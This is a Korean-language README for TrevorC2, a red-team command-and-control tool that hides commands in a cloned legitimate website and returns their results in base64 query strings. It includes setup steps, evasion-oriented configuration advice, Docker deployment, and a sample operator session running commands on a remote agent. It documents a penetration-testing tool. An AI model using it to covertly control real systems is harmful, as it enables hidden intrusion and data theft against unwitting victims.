trustedsec/trevorc2TrevorC2는 클라이언트/서버 통신을 터널링하여 은밀한 명령 실행을 가능하게 하는 합법적인(탐색 가능한) 웹사이트입니다.
작성자: Dave Kennedy (@HackingDave) 웹사이트: https://www.trustedsec.com
참고: 이는 매우 초기 릴리스입니다. 곧 강력한 무작위화 및 암호화가 추가될 예정입니다.
TrevorC2는 일반적으로 탐색 가능한 웹사이트를 통해 명령 및 제어를 위장하기 위한 클라이언트/서버 모델입니다. 시간 간격이 다르고 데이터 유출에 POST 요청을 사용하지 않기 때문에 탐지가 훨씬 어려워집니다.
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
TrevorC2에는 클라이언트와 서버라는 두 가지 구성 요소가 있습니다. 클라이언트는 어떤 것이든 사용할 수 있도록 구성할 수 있습니다. 이 예제에서는 Python으로 작성되었지만 C#, PowerShell 또는 원하는 다른 언어로 쉽게 포팅할 수 있습니다. 현재 trevorc2_client.py는 Windows, MacOS 및 Linux를 지원합니다. Windows 버전을 바이트 컴파일하여 실행 파일을 얻을 수 있지만, 스테이저로 실행 파일을 드롭하지 않고 Windows를 사용하는 것이 선호됩니다.
서버가 작동하는 방식은 매개변수 바로 앞에 매개변수를 숨기는 것입니다. 이는 완전히 구성 가능하며, 탐지를 피하기 위해 모든 것을 고유하게 구성하는 것이 좋습니다. 워크플로는 다음과 같습니다:
1. trevor2_server.py - 먼저 파일을 편집하고, 복제하려는 웹사이트 등을 사용자 지정합니다. 서버는 선택한 웹사이트를 복제하고 서버를 시작합니다. 이 서버는 누구나 탐색할 수 있으며 합법적인 웹사이트처럼 보입니다. 소스 코드 내에는 (다시 말하지만 구성 가능한) 매개변수가 포함되어 있으며, 이 매개변수에는 클라이언트를 위한 지침이 포함되어 있습니다. 클라이언트가 연결되면 해당 매개변수를 검색하고 이를 사용하여 명령을 실행합니다.
2. trevor2_client.py - 필요한 것은 웹사이트를 호출하고, 기본 데이터를 구문 분석하고, 명령을 실행한 다음 결과를 사이트에 base64로 인코딩된 쿼리 문자열 매개변수에 넣는 기능뿐입니다. 그게 전부이며 어렵지 않습니다.
3. trevor2_client.ps1 - trevor2_client.py의 PowerShell 구현으로, 기본 PowerShell을 사용하여 Trevor2_Server와 상호 작용할 수 있습니다.
pip install -r requirements.txt
먼저 trevor2_server.py를 편집합니다. 구성 옵션과 복제할 사이트를 변경합니다.
python trevor2_server.py
다음으로, trevor2_client.py 또는 ps1을 편집합니다. 구성과 통신할 시스템을 변경합니다.
python trevor2_client.py 또는 .\trevor2_client.ps1
TrevorC2는 다른 호스트 이름에서 오는 여러 셸을 처리하는 기능을 지원합니다. TrevorC2가 작동하는 방식은 새 호스트 이름을 세션으로 식별하는 것입니다. 명령을 실행하면 세션과 상호 작용할 수 있습니다. 여러 세션이 있는 경우 명령을 입력하고 전역적으로 저장된 세션 번호를 기반으로 해당 세션과 상호 작용할 수 있습니다.
TrevorC2를 처음 시작할 때 help 또는 ?를 입력하여 추가 정보를 볼 수 있습니다. 기본 명령어 사용법은 "list"로 활성 셸을 나열하거나 아무것도 없으면 "interact <session_id>"로 원하는 셸과 상호 작용합니다.
셸 내에서 back/exit를 입력할 수 있으며, 셸은 계속 활성 상태로 유지되고 실제로 종료되지 않습니다.
아래 예시:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - 합법적인 웹사이트 은닉 채널
작성자: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] 웹사이트 복제 중: https://www.google.com
[*] 사이트가 성공적으로 복제되었습니다.
[*] Trevor C2 서버 시작 중...
[*] 다음으로, 피해자가 실행할 명령을 입력하세요.
[*] 클라이언트는 임의 간격을 사용하므로 시간이 조금 걸릴 수 있습니다.
[*] 사용법은 help를 입력하세요. 명령어 예시: list, interact.
Trevor C2 셸
trevorc2>help
문서화된 명령어 (help <topic> 입력 가능):
========================================
exit help interact list servercmd
trevorc2>help list
설명: 사용 가능한 모든 에이전트를 나열합니다.
사용법: list
trevorc2>list
사용 가능한 에이전트가 없습니다. :-(
trevorc2>
*** 127.0.0.1에서 연결을 수신했으며, 호스트 이름 stronghold, 통신 세션 ID pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
설명: 에이전트와 대화형 셸을 시작합니다.
사용법: interact <id>
trevorc2>interact 1
[*] trevorc2 셸로 진입 중...
[*] 다른 셸을 선택하려면 exit 또는 back을 사용하세요.
stronghold:trevorc2>ifconfig
[*] 명령이 실행될 때까지 기다리는 중입니다. 인내심을 가지세요. 결과가 여기에 표시됩니다...
[*] 클라이언트로부터 응답을 수신했습니다...
=-=-=-=-=-=-=-=-=-=-=
(호스트 이름: stronghold
클라이언트: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
설명: 서버에서 명령을 실행합니다.
사용법: servercmd <command>
예시: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] TrevorC2 종료 중...
알파인 기반의 Dockerfile을 사용하여 trevorC2를 배포합니다. 클라우드 제공업체에 빠르게 배포하는 데 유용합니다. 아래 예시:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# 이 시점에서 docker-machine을 설정하여 원격으로 배포하는 것이 좋습니다.
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
각 스크립트에 제시된 변수를 변경하는 것이 중요합니다. 특히 SITE_PATH_QUERY와 암호화 키가 중요합니다. 또한 REDIRECT 옵션을 살펴보는 것을 권장합니다. 웹사이트를 복제하는 대신, 조사하기 위해 사이트를 탐색하는 피해자 호스트를 합법적인 사이트로 리디렉션하는 또 다른 옵션이 있습니다. 기본적으로 누군가 사이트를 방문하면 복제하려는 사이트로 리디렉션됩니다. 예를 들어 복제된 사이트를 google에서 다른 사이트로 변경하고 리디렉션을 켜십시오.